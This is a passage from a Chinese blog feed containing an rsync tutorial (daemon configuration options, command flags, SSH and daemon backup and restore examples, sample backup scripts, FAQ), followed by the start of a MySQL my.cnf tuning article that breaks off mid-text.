<p>该选项指定一个包含定义用户名:密码对的文件。只有在”auth users”被定义时，该文件才有作用。文件每行包含一个username:passwd对。一般来说密码最好不要超过8个字符。没有默认的secures file名，需要限式指定一个(例如：/etc/rsyncd.passwd)。注意：该文件的权限一定要是600，否则客户端将不能连接服务器。<br />
strict modes</p>
<p>该选项指定是否监测密码文件的权限，如果该选项值为true那么密码文件只能被rsync服务器运行身份的用户访问，其他任何用户不可以访问该文件。默认值为true。<br />
hosts allow</p>
<p>该选项指定哪些IP的客户允许连接该模块。客户模式定义可以是以下形式：</p>
<p>单个IP地址，例如：192.167.0.1<br />
整个网段，例如：192.168.0.0/24，也可以是192.168.0.0/255.255.255.0</p>
<p>多个IP或网段需要用空格隔开，“*”则表示所有，默认是允许所有主机连接。<br />
hosts deny</p>
<p>指定不允许连接rsync服务器的机器，可以使用hosts allow的定义方式来进行定义。默认是没有hosts deny定义。<br />
ignore errors</p>
<p>指定rsyncd在判断是否运行传输时的删除操作时忽略server上的IO错误，一般来说rsync在出现IO错误时将将跳过&#8211;delete操作，以防止因为暂时的资源不足或其它IO错误导致的严重问题。<br />
ignore nonreadable</p>
<p>指定rysnc服务器完全忽略那些用户没有访问权限的文件。这对于在需要备份的目录中有些文件是不应该被备份者得到的情况是有意义的。<br />
lock file</p>
<p>指定支持max connections参数的锁文件，默认值是/var/run/rsyncd.lock。<br />
transfer logging</p>
<p>使rsync服务器使用ftp格式的文件来记录下载和上载操作在自己单独的日志中。<br />
log format</p>
<p>通过该选项用户在使用transfer logging可以自己定制日志文件的字段。其格式是一个包含格式定义符的字符串，可以使用的格式定义符如下所示：</p>
<p>%h 远程主机名</p>
<p>%a 远程IP地址</p>
<p>%l 文件长度字符数</p>
<p>%p 该次rsync会话的进程id</p>
<p>%o 操作类型：”send”或”recv”</p>
<p>%f 文件名</p>
<p>%P 模块路径</p>
<p>%m 模块名</p>
<p>%t 当前时间</p>
<p>%u 认证的用户名(匿名时是null)</p>
<p>%b 实际传输的字节数</p>
<p>%c 当发送文件时，该字段记录该文件的校验码</p>
<p>默认log格式为：”%o %h [%a] %m (%u) %f %l”，一般来说,在每行的头上会添加”%t [%p] “。在源代码中同时发布有一个叫rsyncstats的perl脚本程序来统计这种格式的日志文件。<br />
timeout</p>
<p>通过该选项可以覆盖客户指定的IP超时时间。通过该选项可以确保rsync服务器不会永远等待一个崩溃的客户端。超时单位为秒钟，0表示没有超时定义，这也是默认值。对于匿名rsync服务器来说，一个理想的数字是600。<br />
refuse options</p>
<p>通过该选项可以定义一些不允许客户对该模块使用的命令参数列表。这里必须使用命令全名，而不能是简称。但发生拒绝某个命令的情况时服务器将报告错误信息然后退出。如果要防止使用压缩，应该是：”dont compress = *”。<br />
dont compress</p>
<p>用来指定那些不进行压缩处理再传输的文件，默认值是*.gz *.tgz *.zip *.z *.rpm *.deb *.iso *.bz2 *.tbz</p>
<p>3.2 Rsync命令</p>
<p>在对rsync服务器配置结束以后，下一步就需要在客户端发出rsync命令来实现将服务器端的文件备份到客户端来。rsync是一个功能非常强大的工具，其命令也有很多功能特色选项，我们下面就对它的选项一一进行分析说明。</p>
<p>Rsync的命令格式可以为以下六种：<br />
rsync [OPTION]&#8230; SRC DEST</p>
<p>rsync [OPTION]&#8230; SRC [USER@]HOST:DEST</p>
<p>rsync [OPTION]&#8230; [USER@]HOST:SRC DEST</p>
<p>rsync [OPTION]&#8230; [USER@]HOST::SRC DEST</p>
<p>rsync [OPTION]&#8230; SRC [USER@]HOST::DEST</p>
<p>rsync [OPTION]&#8230; rsync://[USER@]HOST[:PORT]/SRC [DEST]<br />
对应于以上六种命令格式，rsync有六种不同的工作模式：</p>
<p>1)拷贝本地文件。当SRC和DES路径信息都不包含有单个冒号”:”分隔符时就启动这种工作模式。如：rsync -a /data /backup</p>
<p>2)使用一个远程shell程序(如rsh、ssh)来实现将本地机器的内容拷贝到远程机器。当DST路径地址包含单个冒号”:”分隔符时启动该模式。如：rsync -avz *.c foo:src</p>
<p>3)使用一个远程shell程序(如rsh、ssh)来实现将远程机器的内容拷贝到本地机器。当SRC地址路径包含单个冒号”:”分隔符时启动该模式。如：rsync -avz foo:src/bar /data</p>
<p>4)从远程rsync服务器中拷贝文件到本地机。当SRC路径信息包含”::”分隔符时启动该模式。如：rsync -av <a href="mailto:root@172.16.78.192::www">root@172.16.78.192::www</a> /databack</p>
<p>5)从本地机器拷贝文件到远程rsync服务器中。当DST路径信息包含”::”分隔符时启动该模式。如：rsync -av /databack <a href="mailto:root@172.16.78.192::www">root@172.16.78.192::www</a></p>
<p>6)列远程机的文件列表。这类似于rsync传输，不过只要在命令中省略掉本地机信息即可。如：rsync -v rsync://172.16.78.192/www<br />
rsync参数的具体解释如下：<br />
-v, &#8211;verbose 详细模式输出<br />
-q, &#8211;quiet 精简输出模式<br />
-c, &#8211;checksum 打开校验开关，强制对文件传输进行校验<br />
-a, &#8211;archive 归档模式，表示以递归方式传输文件，并保持所有文件属性，等于-rlptgoD<br />
-r, &#8211;recursive 对子目录以递归模式处理<br />
-R, &#8211;relative 使用相对路径信息<br />
-b, &#8211;backup 创建备份，也就是对于目的已经存在有同样的文件名时，将老的文件重新命名为~filename。可以使用&#8211;suffix选项来指定不同的备份文件前缀。<br />
&#8211;backup-dir 将备份文件(如~filename)存放在在目录下。<br />
-suffix=SUFFIX 定义备份文件前缀<br />
-u, &#8211;update 仅仅进行更新，也就是跳过所有已经存在于DST，并且文件时间晚于要备份的文件。(不覆盖更新的文件)<br />
-l, &#8211;links 保留软链结<br />
-L, &#8211;copy-links 想对待常规文件一样处理软链结<br />
&#8211;copy-unsafe-links 仅仅拷贝指向SRC路径目录树以外的链结<br />
&#8211;safe-links 忽略指向SRC路径目录树以外的链结<br />
-H, &#8211;hard-links 保留硬链结<br />
-p, &#8211;perms 保持文件权限<br />
-o, &#8211;owner 保持文件属主信息<br />
-g, &#8211;group 保持文件属组信息<br />
-D, &#8211;devices 保持设备文件信息<br />
-t, &#8211;times 保持文件时间信息<br />
-S, &#8211;sparse 对稀疏文件进行特殊处理以节省DST的空间<br />
-n, &#8211;dry-run现实哪些文件将被传输<br />
-W, &#8211;whole-file 拷贝文件，不进行增量检测<br />
-x, &#8211;one-file-system 不要跨越文件系统边界<br />
-B, &#8211;block-size=SIZE 检验算法使用的块尺寸，默认是700字节<br />
-e, &#8211;rsh=COMMAND 指定使用rsh、ssh方式进行数据同步<br />
&#8211;rsync-path=PATH 指定远程服务器上的rsync命令所在路径信息<br />
-C, &#8211;cvs-exclude 使用和CVS一样的方法自动忽略文件，用来排除那些不希望传输的文件<br />
&#8211;existing 仅仅更新那些已经存在于DST的文件，而不备份那些新创建的文件<br />
&#8211;delete 删除那些DST中SRC没有的文件<br />
&#8211;delete-excluded 同样删除接收端那些被该选项指定排除的文件<br />
&#8211;delete-after 传输结束以后再删除<br />
&#8211;ignore-errors 及时出现IO错误也进行删除<br />
&#8211;max-delete=NUM 最多删除NUM个文件<br />
&#8211;partial 保留那些因故没有完全传输的文件，以是加快随后的再次传输<br />
&#8211;force 强制删除目录，即使不为空<br />
&#8211;numeric-ids 不将数字的用户和组ID匹配为用户名和组名<br />
&#8211;timeout=TIME IP超时时间，单位为秒<br />
-I, &#8211;ignore-times 不跳过那些有同样的时间和长度的文件<br />
&#8211;size-only 当决定是否要备份文件时，仅仅察看文件大小而不考虑文件时间<br />
&#8211;modify-window=NUM 决定文件是否时间相同时使用的时间戳窗口，默认为0<br />
-T &#8211;temp-dir=DIR 在DIR中创建临时文件<br />
&#8211;compare-dest=DIR 同样比较DIR中的文件来决定是否需要备份<br />
-P 等同于 &#8211;partial<br />
&#8211;progress 显示备份过程<br />
-z, &#8211;compress 对备份的文件在传输时进行压缩处理<br />
&#8211;exclude=PATTERN 指定排除不需要传输的文件模式<br />
&#8211;include=PATTERN 指定不排除而需要传输的文件模式<br />
&#8211;exclude-from=FILE 排除FILE中指定模式的文件<br />
&#8211;include-from=FILE 不排除FILE指定模式匹配的文件<br />
&#8211;version 打印版本信息<br />
&#8211;address 绑定到特定的地址<br />
&#8211;config=FILE 指定其他的配置文件，不使用默认的rsyncd.conf文件<br />
&#8211;port=PORT 指定其他的rsync服务端口<br />
&#8211;blocking-io 对远程shell使用阻塞IO<br />
-stats 给出某些文件的传输状态<br />
&#8211;progress 在传输时现实传输过程<br />
&#8211;log-format=formAT 指定日志文件格式<br />
&#8211;password-file=FILE 从FILE中得到密码<br />
&#8211;bwlimit=KBPS 限制I/O带宽，KBytes per second<br />
-h, &#8211;help 显示帮助信息</p>
<p>4、Rsync使用实例<br />
4.1、SSH方式</p>
<p>1、首先在服务端启动ssh服务：<br />
# service sshd start</p>
<p>启动 sshd： [确定]<br />
2、使用rsync进行同步</p>
<p>接下来就可以在客户端使用rsync命令来备份服务端上的数据了，SSH方式是通过系统用户来进行备份的，如下：<br />
# rsync -vzrtopg &#8211;progress -e ssh &#8211;delete <a href="mailto:work@172.16.78.192:/www/">work@172.16.78.192:/www/</a>* /databack/experiment/rsync</p>
<p><a href="mailto:work@172.16.78.192%20s">work@172.16.78.192&#8242;s</a> password:</p>
<p>receiving file list &#8230;</p>
<p>5 files to consider</p>
<p>test/</p>
<p>a</p>
<p>0 100% 0.00kB/s 527:35:41 (1, 20.0% of 5)</p>
<p>b</p>
<p>67 100% 65.43kB/s 0:00:00 (2, 40.0% of 5)</p>
<p>c</p>
<p>0 100% 0.00kB/s 527:35:41 (3, 60.0% of 5)</p>
<p>dd</p>
<p>100663296 100% 42.22MB/s 0:00:02 (4, 80.0% of 5)</p>
<p>sent 96 bytes received 98190 bytes 11563.06 bytes/sec</p>
<p>total size is 100663363 speedup is 1024.19<br />
上面的信息描述了整个的备份过程，以及总共备份数据的大小。<br />
4.2 、后台服务方式</p>
<p>1、启动rsync服务</p>
<p>编辑/etc/xinetd.d/rsync文件，将其中的disable=yes改为disable=no，并重启xinetd服务，如下：<br />
# vi /etc/xinetd.d/rsync</p>
<p>#default: off</p>
<p># description: The rsync server is a good addition to an ftp server, as it \</p>
<p># allows crc checksumming etc.</p>
<p>service rsync</p>
<p>{</p>
<p>disable = no</p>
<p>socket_type = stream</p>
<p>wait = no</p>
<p>user = root</p>
<p>server = /usr/bin/rsync</p>
<p>server_args = &#8211;daemon</p>
<p>log_on_failure += USERID</p>
<p>}</p>
<p># /etc/init.d/xinetd restart</p>
<p>停止 xinetd： [确定]</p>
<p>启动 xinetd： [确定]<br />
2、创建配置文件</p>
<p>默认安装好rsync程序后，并不会自动创建rsync的主配置文件，需要手工来创建，其主配置文件为“/etc/rsyncd.conf”，创建该文件并插入如下内容：<br />
# vi /etc/rsyncd.conf</p>
<p>uid=root</p>
<p>gid=root</p>
<p>max connections=4</p>
<p>log file=/var/log/rsyncd.log</p>
<p>pid file=/var/run/rsyncd.pid</p>
<p>lock file=/var/run/rsyncd.lock</p>
<p>secrets file=/etc/rsyncd.passwd</p>
<p>hosts deny=172.16.78.0/22</p>
<p>[www]</p>
<p>comment= backup web</p>
<p>path=/www</p>
<p>read only = no</p>
<p>exclude=test</p>
<p>auth users=work<br />
3、创建密码文件</p>
<p>采用这种方式不能使用系统用户对客户端进行认证，所以需要创建一个密码文件，其格式为“username:password”，用户名可以和密码可以随便定义，最好不要和系统帐户一致，同时要把创建的密码文件权限设置为600，这在前面的模块参数做了详细介绍。<br />
# echo “work:abc123&#8243; &gt; /etc/rsyncd.passwd</p>
<p># chmod 600 /etc/rsyncd.passwd<br />
4、备份</p>
<p>完成以上工作，现在就可以对数据进行备份了，如下：<br />
# rsync -avz &#8211;progress &#8211;delete <a href="mailto:work@172.16.78.192::www">work@172.16.78.192::www</a> /databack/experiment/rsync</p>
<p>Password:</p>
<p>receiving file list &#8230;</p>
<p>6 files to consider</p>
<p>./ files&#8230;</p>
<p>a</p>
<p>0 100% 0.00kB/s 528:20:41 (1, 50.0% of 6)</p>
<p>b</p>
<p>67 100% 65.43kB/s 0:00:00 (2, 66.7% of 6)</p>
<p>c</p>
<p>0 100% 0.00kB/s 528:20:41 (3, 83.3% of 6)</p>
<p>dd</p>
<p>100663296 100% 37.49MB/s 0:00:02 (4, 100.0% of 6)</p>
<p>sent 172 bytes received 98276 bytes 17899.64 bytes/sec</p>
<p>total size is 150995011 speedup is 1533.75<br />
5、恢复</p>
<p>当服务器的数据出现问题时，那么这时就需要通过客户端的数据对服务端进行恢复，但前提是服务端允许客户端有写入权限，否则也不能在客户端直接对服务端进行恢复，使用rsync对数据进行恢复的方法如下：<br />
# rsync -avz &#8211;progress /databack/experiment/rsync/ <a href="mailto:work@172.16.78.192::www">work@172.16.78.192::www</a></p>
<p>Password:</p>
<p>building file list &#8230;</p>
<p>6 files to consider</p>
<p>./</p>
<p>a</p>
<p>b</p>
<p>67 100% 0.00kB/s 0:00:00 (2, 66.7% of 6)</p>
<p>c</p>
<p>sent 258 bytes received 76 bytes 95.43 bytes/sec</p>
<p>total size is 150995011 speedup is 452080.87</p>
<p>5、示例脚本</p>
<p>这里这些脚本都是rsync网站上的例子：<br />
1、每隔七天将数据往中心服务器做增量备份<br />
#!/bin/sh<br />
# This script does personal backups to a rsync backup server. You will end up<br />
# with a 7 day rotating incremental backup. The incrementals will go<br />
# into subdirectories named after the day of the week, and the current<br />
# full backup goes into a directory called “current”<br />
# <a href="mailto:tridge@linuxcare.com">tridge@linuxcare.com</a><br />
# directory to backup<br />
BDIR=/home/$USER<br />
# excludes file &#8211; this contains a wildcard pattern per line of files to exclude<br />
EXCLUDES=$HOME/cron/excludes<br />
# the name of the backup machine<br />
BSERVER=owl<br />
# your password on the backup server<br />
export RSYNC_PASSWORD=XXXXXX<br />
########################################################################<br />
BACKUPDIR=`date +%A`<br />
OPTS=”&#8211;force &#8211;ignore-errors &#8211;delete-excluded &#8211;exclude-from=$EXCLUDES<br />
&#8211;delete &#8211;backup &#8211;backup-dir=/$BACKUPDIR -a”<br />
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin<br />
# the following line clears the last weeks incremental directory<br />
[ -d $HOME/emptydir ] || mkdir $HOME/emptydir<br />
rsync &#8211;delete -a $HOME/emptydir/ $BSERVER::$USER/$BACKUPDIR/<br />
rmdir $HOME/emptydir<br />
# now the actual transfer<br />
rsync $OPTS $BDIR $BSERVER::$USER/current<br />
2、备份至一个空闲的硬盘<br />
#!/bin/sh<br />
export PATH=/usr/local/bin:/usr/bin:/bin<br />
LIST=”rootfs usr data data2&#8243;<br />
for d in $LIST; do<br />
mount /backup/$d<br />
rsync -ax &#8211;exclude fstab &#8211;delete /$d/ /backup/$d/<br />
umount /backup/$d<br />
done<br />
DAY=`date “+%A”`<br />
rsync -a &#8211;delete /usr/local/apache /data2/backups/$DAY<br />
rsync -a &#8211;delete /data/solid /data2/backups/$DAY<br />
3、对vger.rutgers.edu的cvs树进行镜像<br />
#!/bin/bash<br />
cd /var/www/cvs/vger/<br />
PATH=/usr/local/bin:/usr/freeware/bin:/usr/bin:/bin<br />
RUN=`lps x | grep rsync | grep -v grep | wc -l`<br />
if [ "$RUN" -gt 0 ]; then<br />
echo already running<br />
exit 1<br />
fi<br />
rsync -az vger.rutgers.edu::cvs/CVSROOT/ChangeLog $HOME/ChangeLog<br />
sum1=`sum $HOME/ChangeLog`<br />
sum2=`sum /var/www/cvs/vger/CVSROOT/ChangeLog`<br />
if [ "$sum1" = "$sum2" ]; then<br />
echo nothing to do<br />
exit 0<br />
fi<br />
rsync -az &#8211;delete &#8211;force vger.rutgers.edu::cvs/ /var/www/cvs/vger/<br />
exit 0<br />
6、FAQ</p>
<p>Q：如何通过ssh进行rsync，而且无须输入密码？</p>
<p>A：可以通过以下几个步骤<br />
1. 通过ssh-keygen在server A上建立SSH keys，不要指定密码，你会在~/.ssh下看到identity和identity.pub文件</p>
<p>2. 在server B上的home目录建立子目录.ssh</p>
<p>3. 将A的identity.pub拷贝到server B上</p>
<p>4. 将identity.pub加到~[user b]/.ssh/authorized_keys</p>
<p>5. 于是server A上的A用户，可通过下面命令以用户B ssh到server B上了</p>
<p>e.g. ssh -l userB serverB</p>
<p>这样就使server A上的用户A就可以ssh以用户B的身份无需密码登陆到server B上了。<br />
Q：如何通过在不危害安全的情况下通过防火墙使用rsync?</p>
<p>A：解答如下：<br />
这通常有两种情况，一种是服务器在防火墙内，一种是服务器在防火墙外。无论哪种情况，通常还是使用ssh，这时最好新建一个备份用户，并且配置sshd仅允许这个用户通过RSA认证方式进入。如果服务器在防火墙内，则最好限定客户端的IP地址，拒绝其它所有连接。如果客户机在防火墙内，则可以简单允许防火墙打开TCP端口22的ssh外发连接就ok了。<br />
Q：我能将更改过或者删除的文件也备份上来吗？</p>
<p>A：当然可以：<br />
你可以使用如：rsync -other -options -backupdir = ./backup-2000-2-13 &#8230;这样的命令来实现。</p>
<p>这样如果源文件:/path/to/some/file.c改变了，那么旧的文件就会被移到./backup-2000-2-13/path/to/some/file.c，</p>
<p>这里这个目录需要自己手工建立起来<br />
Q：我需要在防火墙上开放哪些端口以适应rsync？</p>
<p>A：视情况而定<br />
rsync可以直接通过873端口的tcp连接传文件，也可以通过22端口的ssh来进行文件传递，但你也可以通过下列命令改变它的端口：<br />
rsync &#8211;port 8730 otherhost::</p>
<p>或者</p>
<p>rsync -e &#8216;ssh -p 2002&#8242; otherhost:<br />
Q：我如何通过rsync只复制目录结构，忽略掉文件呢？</p>
<p>A：rsync -av &#8211;include &#8216;*/&#8217; &#8211;exclude &#8216;*&#8217; source-dir dest-dir<br />
Q：为什么我总会出现”Read-only file system”的错误呢？</p>
<p>A：看看是否忘了设”read only = no”了<br />
Q：为什么我会出现<a href="mailto:%20@ERROR">&#8216;@ERROR</a>: invalid gid&#8217;的错误呢？</p>
<p>A：rsync使用时默认是用uid=nobody;gid=nobody来运行的，如果你的系统不存在nobody组的话，就会出现这样的错误，可以试试gid = nogroup或者其它<br />
Q：绑定端口873失败是怎么回事？</p>
<p>A：如果你不是以root权限运行这一守护进程的话，因为1024端口以下是特权端口，会出现这样的错误。你可以用&#8211;port参数来改变。<br />
Q：为什么我认证失败？</p>
<p>A：从你的命令行看来：<br />
你用的是：<br />
&gt; bash$ rsync -a 144.16.251.213::test test</p>
<p>&gt; Password:</p>
<p>&gt; @ERROR: auth failed on module test</p>
<p>&gt;</p>
<p>&gt; I dont understand this. Can somebody explain as to how to acomplish this.</p>
<p>&gt; All suggestions are welcome.</p>
<p>应该是没有以你的用户名登陆导致的问题，试试rsync -a <a href="mailto:max@144.16.251.213::test">max@144.16.251.213::test</a> test</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%88%A4%E6%96%AD" title="判断" rel="tag">判断</a>, <a href="http://www.5bay.cn/tag/%E5%A4%B1%E8%B4%A5" title="失败" rel="tag">失败</a>, <a href="http://www.5bay.cn/tag/%E5%AE%9E%E4%BE%8B" title="实例" rel="tag">实例</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%B7%A5%E5%85%B7" title="工具" rel="tag">工具</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%9B%B4%E6%96%B0" title="更新" rel="tag">更新</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E6%BA%90%E4%BB%A3%E7%A0%81" title="源代码" rel="tag">源代码</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%AF%B4%E6%98%8E" title="说明" rel="tag">说明</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%95%9C%E5%83%8F" title="镜像" rel="tag">镜像</a>, <a href="http://www.5bay.cn/tag/%E9%9A%90%E8%97%8F" title="隐藏" rel="tag">隐藏</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/rsyncxiangjie.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mysql优化及全文搜索</title>
		<link>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html</link>
		<comments>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:29:20 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[session]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[含义]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[引入]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[最快]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[镜像]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=373</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>mysql my.cnf文件常见优化模块 [mysqld] port = 3306 server-id = 1 socket = /tmp/mysql.sock # 避免MySQL的外部锁定，减少出错几率增强稳定性。 skip-locking # 禁止MySQL对外部连接进行DNS解析 skip-name-resolve # 指定MySQL可能的连接数量 back_log = 256 # 使用查询缓冲 query_cache_size = 32M query_cache_type= 1 # 指定用于索引的缓冲区大小 对于内存在4GB左右的服务器该参数可设置为256M或384M key_reads / key_read_requests 至少是1:100，1:1000更好 key_buffer_size = 256M # 允许的请求包大小 max_allowed_packet = 4M # 缓存可重用的线程数 thread_cache = 256 thread_cache_size = 64 # 每个线程的栈大小 [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.5bay.cn/tag/mysql" class="st_tag internal_tag" rel="tag" title="标签 mysql 下的日志">mysql</a> my.cnf文件常见优化模块<br />
[mysqld]<br />
port = 3306<br />
<a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">server</a>-id = 1<br />
socket = /tmp/mysql.sock</p>
<p># 避免MySQL的外部锁定，减少出错几率增强稳定性。<br />
skip-locking</p>
<p># 禁止MySQL对外部连接进行DNS解析<br />
skip-name-resolve</p>
<p># 指定MySQL可能的连接数量<br />
back_log = 256<br />
<span id="more-373"></span><br />
# 使用查询缓冲<br />
query_cache_size = 32M<br />
query_cache_type= 1</p>
<p># 指定用于索引的缓冲区大小 对于内存在4GB左右的服务器该参数可设置为256M或384M key_reads / key_read_requests 至少是1:100，1:1000更好<br />
key_buffer_size = 256M</p>
<p># 允许的请求包大小<br />
max_allowed_packet = 4M</p>
<p># 缓存可重用的线程数<br />
thread_cache = 256<br />
thread_cache_size = 64</p>
<p># 每个线程的栈大小<br />
thread_stack = 256K</p>
<p># 指定表高速缓存的大小 对于有1G内存的机器，推荐值是128－256<br />
table_cache = 256K</p>
<p># 查询排序时所能使用的缓冲区大小 每连接独占<br />
sort_buffer_size = 6M</p>
<p># 读查询操作所能使用的缓冲区大小 每连接独占<br />
read_buffer_size = 4M</p>
<p># 联合查询操作所能使用的缓冲区大小 每连接独占<br />
join_buffer_size = 8M</p>
<p>#MyISAM表发生变化时重新排序所需的缓冲<br />
myisam_sort_buffer_size = 64M</p>
<p># 指定MySQL查询缓冲区的大小<br />
query_cache_size = 64M</p>
<p>tmp_table_size = 256M</p>
<p># 指定MySQL允许的最大连接进程数<br />
max_connections = 768</p>
<p>max_connect_errors = 10000000</p>
<p># 指定一个请求的最大连接时间<br />
wait_timeout = 10</p>
<p># 该参数取值为服务器逻辑CPU数量×2<br />
thread_concurrency = 8</p>
<p>#记录慢查询,然后对慢查询一一优化<br />
log-slow-queries = slow.log<br />
long_query_time = 2<br />
log-queries-not-using-indexes</p>
<p>#关闭不需要的表类型,如果你需要,就不要加上这个<br />
skip-innodb<br />
skip-bdb<br />
#指定用于索引的缓冲区大小，增加它可得到更好的索引处理性能。     对于内存在4GB左右的服务器该参数可设置为256M或384M。     注意：该参数值设置的过大反而会是服务器整体效率降低！<br />
key_buffer_size = 256M</p>
<p>MySQL server has gone away 的解决办法</p>
<p>有时候使用MySQL(和PHP搭配之最佳组合)命令行导入备份时会出现“MySQL(和PHP搭配之最佳组合) server has gone away”错误，这可能是因为其中一些insert语句的大小超出了MySQL(和PHP搭配之最佳组合)目前设置的缓冲区大小。</p>
<p>解决办法</p>
